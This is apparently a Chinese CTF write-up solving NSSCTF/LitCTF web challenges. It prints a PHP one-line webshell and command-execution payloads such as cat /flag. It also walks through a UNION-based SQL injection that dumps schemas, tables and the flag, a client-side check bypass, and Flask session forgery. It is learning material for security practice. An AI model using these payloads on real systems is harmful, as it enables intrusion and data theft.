链接

NSSCTF web 题单

我Flag呢?

查看源代码

就当无事发生

考察的git commit

好像github页面没办法直接搜索,我git clone一下试试

git clone https://github.com/ProbiusOfficial/ProbiusOfficial.github.io.git
git log -S 'LitCTF'
git show  2d02084c5aa044d5dae3fc02a2a70248ab5500b5

第二条指令就是从commit中找到关于删除或增加指定字符串的commit

第三条就是展示具体的commit内容

导弹迷踪

在F12中查找代码即可

找到’mLevel’等于6时的结果即可

1zjs

0.o?

在index.umd.js里面搜索php,发现了 /f@k3f1ag.php

访问之后发现是brainfuck,然后在控制台输入就能得到flag(不知道为什么在线网站不行?)

Follow me and hack me

讲get和post传参

详见上一份题单

curl -d "Challenge=i'm_c0m1ng" http://node5.anna.nssctf.cn:23066/?CTF=Lit2023

Vim yyds

靠的是vim泄漏

首先用dirsearch扫一下目录

第一次意外退出产生的备份文件名为:.filename.swp
第二次意外退出产生的备份文件名为:.filename.swo
第三次意外退出产生的备份文件名为:.filename.swn
irsearch -u http://node4.anna.nssctf.cn:28589/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_node4.anna.nssctf.cn_28589/__25-06-08_08-53-52.txt

Target: http://node4.anna.nssctf.cn:28589/

[08:53:52] Starting:
[08:53:57] 403 - 288B - /.ht_wsr.txt
[08:53:57] 403 - 288B - /.htaccess.bak1
[08:53:57] 403 - 288B - /.htaccess.sample
[08:53:57] 403 - 288B - /.htaccessBAK
[08:53:57] 403 - 288B - /.htaccess.orig
[08:53:57] 403 - 288B - /.htaccessOLD2
[08:53:57] 403 - 288B - /.htaccess_orig
[08:53:57] 403 - 288B - /.htaccess.save
[08:53:57] 403 - 288B - /.htaccess_sc
[08:53:57] 403 - 288B - /.htaccess_extra
[08:53:57] 403 - 288B - /.htm
[08:53:57] 403 - 288B - /.htaccessOLD
[08:53:57] 403 - 288B - /.html
[08:53:57] 403 - 288B - /.htpasswd_test
[08:53:57] 403 - 288B - /.htpasswds
[08:53:57] 403 - 288B - /.httr-oauth
[08:53:57] 200 - 12KB - /.index.php.swp
[08:54:39] 403 - 288B - /server-status
[08:54:39] 403 - 288B - /server-status/

Task Completed

能够发现有一个/.index.php.swp ,我们访问一下就能得到部分源码,看起来非常丑陋,不知道是我的问题还是本来就这样

</body>    </main>        </div>            ?>            }                eval(system($_POST['cmd']));                echo "<p>Oh You got my password!</p>";            if ($_POST['password'] === base64_encode($password)) {            echo "<p>can can need Vim </p>";            $password = "Give_Me_Your_Flag";            error_reporting(0);            <?php        <div class="can_can_vim">        </h3>            队里师傅说Vim是世界上最好的编辑器,不接受反驳        <h3 class="vim_said">        </div>            </h1>                Vim yyds            <h1 class="vim_yyds">            <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>        <div class="vim">    <main><body></head>    </style>        }            font-size: 20;        p {        br,        }            align-items: center;            justify-content: center;            display: flex;            color: #39c2ff;        h3.vim_said {        }            margin-left: 5px;            margin-top: 50;            justify-content: center;            align-items: flex-start;            display: flex;            color: #50f728;        h1.vim_yyds {        }            height: auto;            width: 8rem;            border: none;        img {        }            justify-content: center;            vertical-align: middle;            align-content: center;            display: flex;        div.vim {        }            justify-content: center;            align-items: center;            display: flex;        html {        body,    <style type="text/css">    <meta charset="UTF-8"><head>

提取关键点:

eval(system($_POST['cmd']));                echo "<p>Oh You got my password!</p>";            if ($_POST['password'] === base64_encode($password)) {            echo "<p>can can need Vim </p>";            $password = "Give_Me_Your_Flag";  

大概就是password是base64编码的Give_Me_Your_Flag,然后执行cmd。

可以使用hackbar进行访问

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

作业管理系统

F12界面即可看到用户名和密码。

之后我们可以上传文件

上传一个一句话木马即可

<?php @eval($_POST[1]); ?>

之后我使用hackbar进行操作

1=system('cat /flag');

即可得到flag

PHP是世界上最好的语言!!

F12即可看到有任意代码执行

$('#run').click(function(){
php_code = $("#php_code").val().trim() ;
if(php_code != ""){
$.ajax({
type: "POST",
url: url,
data: {"type":"run","php_code":php_code},
success: function(json){
$("#run_result").html(json);
}
});
}
});

我在网页上输入php代码不清楚为什么没办法执行(好像是当时存在网络问题没加载出来),但是我们可以直接使用hackbar向do.php发送数据

type=run&php_code=<?php system("cat /flag"); ?>

成功得到flag

这是什么?SQL !注一下 !

开始学SQL注入了

OK,先学一下SQL再说

好吧,学完了还是没多少思路,只能得到username和password 不知道怎么出来flag

我的注入:

1)))))) OR 1=1 --

首先想办法把前面的括号闭合掉,然后OR 1=1 ,之后注释

注意–后面有一个空格

结果:

Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) )

使用hackbar来进行sql注入

http://node5.anna.nssctf.cn:26645/?id=1%29%29%29%29%29%29+OR+1%3D1 union select 1,group_concat(schema_name) from information_schema.schemata +--+
SELECT username,password FROM users WHERE id = ((((((1)))))) OR 1=1 union select 1,group_concat(schema_name) from information_schema.schemata -- ))))))

结果:

Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) [2] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf ) )

最后的就是库名

然后就是爆库的表名

http://node5.anna.nssctf.cn:23874/?id=1%29%29%29%29%29%29+OR+1%3D1 union select 1,group_concat(table_name,":",column_name) from information_schema.columns where table_schema='ctftraining'+--+
Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) [2] => Array ( [username] => 1 [password] => flag:flag,news:id,news:title,news:content,news:time,users:id,users:username,users:password,users:ip,users:time ) )

可以看到出现了flag表flag列

接下来就可以直接得到flag

http://node5.anna.nssctf.cn:23874/?id=1%29%29%29%29%29%29+OR+1%3D1 union select 1,flag from ctftraining.flag+--+
Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) [2] => Array ( [username] => 1 [password] => NSSCTF{3a725d38-d60f-4fd0-a8f3-6cb059ee74ae} ) )

Ping

我最开始的想法:直接在elements修改check_ip函数,一直返回true,从而达到绕过验证的目的,验证一直失败。

wp讲了四种方法。

  1. 禁用javascript
  2. console中输入 check_ip=function(){}
  3. hackbar发包
  4. burpsuite抓包发包

下面是gpt告诉我为什么我的不行,但是第二中方法行

为什么 check_ip = function(){} 能生效?

这是因为你在 Console 中执行了全局变量重新赋值

  • check_ip = function(){} 这条语句是在 全局作用域 window 对象上重新定义了一个新的函数
  • HTML 中 <form onsubmit="return check_ip()"> 会在提交时从 window.check_ip 上取这个函数来执行。

所以你等于是用一个“空函数”替换掉了原先定义的函数。只要这个函数没有 return false,表单就会默认提交。


❌ 为什么你直接修改 <script> 中的 check_ip() 函数体却没效果?

如果你在 DevTools 的 Sources 面板中直接双击 check_ip() 所在的 <script> 内容去改(或者右键“Edit as HTML”改 <script> 标签),这不会生效的原因是:

📌 1. <script> 的 JS 是一次性执行的

  • 页面加载时,浏览器会把 <script> 中的 JavaScript 执行一遍;
  • 然后就不会再执行或“重新解释”那段代码了
  • 所以你在 Elements 里改 <script> 的内容,不会再次执行它,也不会更新函数。

📌 2. 函数已经“绑定”到 form 的 onsubmit 上了

  • <form onsubmit="return check_ip()"> 中,浏览器其实会把这段 inline 代码翻译为一个函数,并与当前的 check_ip 函数绑定;
  • 如果你后来去改了 check_ip() 的函数体,但 onsubmit 事件仍然指向旧的版本(不是你修改后的)
  • 所以你看到“改了函数体,但结果不变”的情况。

✅ 为什么重新赋值 check_ip = function(){} 就能生效?

因为这是 直接把全局的 check_ip 指针指向了一个新函数,而 onsubmit 在触发时会去读取 window.check_ip(),于是就执行了你新定义的空函数。

大概意思是说,最开始的时候check_ip就已经绑定上onsubmmit了,之后我怎么修改都没用,绑定的还是老的check_ip,但是console上我是把全局变量改掉了,因此能成功。

Flag 点击就送!

好像涉及到过多知识了,未来再搞,简单学学

大概了解了一下,是session伪造

session是什么?

因为 HTTP 是无状态协议,每次请求都是独立的。举个例子:
你登录了一个网站。
接下来你点进“个人中心”页面,服务器还怎么知道是你?
这就需要一种机制让服务器记住你。Session 就是这种机制之一。
说明 Cookie Session
存储位置 浏览器(客户端) 服务器端
安全性 容易被伪造 更安全(不暴露数据)
存储数据 只能存字符串 可以存各种结构数据
控制方式 前端控制 后端控制(配合 Cookie 识别)

还是分不太清楚session和cookie的区别

反正session也是服务器用来标识客户的方式。

这个题里session内容就在cookie里面

抓包可以看到cookie里面有下面的内容

Hm_lvt_648a44a949074de73151ffaa0a832aec=1744343990,1744360141,1744448784,1744616660; session=eyJuYW1lIjoidGdyZGRmNTUifQ.aEwKUg.7P8yTPtTB0egjrtiCJngK5tV44E

其中刚好有session的内容,其中前三分之一的部分是base64,后面内容的部分是签名

eyJuYW1lIjoidGdyZGRmNTUifQ
{"name":"tgrddf55"}

上面的就是下面数据的base64

然后这个用的是flask框架

flask是什么?

Flask 是一个用 Python 编写的轻量级 Web 框架,让你可以快速构建网页或 API 应用。简单来说,它是一个工具包,让你用 Python 写出一个可以在浏览器中访问的网站或后台服务。

flask设置session需要一个密钥,这个密钥可以爆破出来,不过需要有一个包含该密钥的字典

最后爆出来密钥是’LitCTF’

之后使用该密钥对

{"name":"admin"}

进行加密,然后发包即可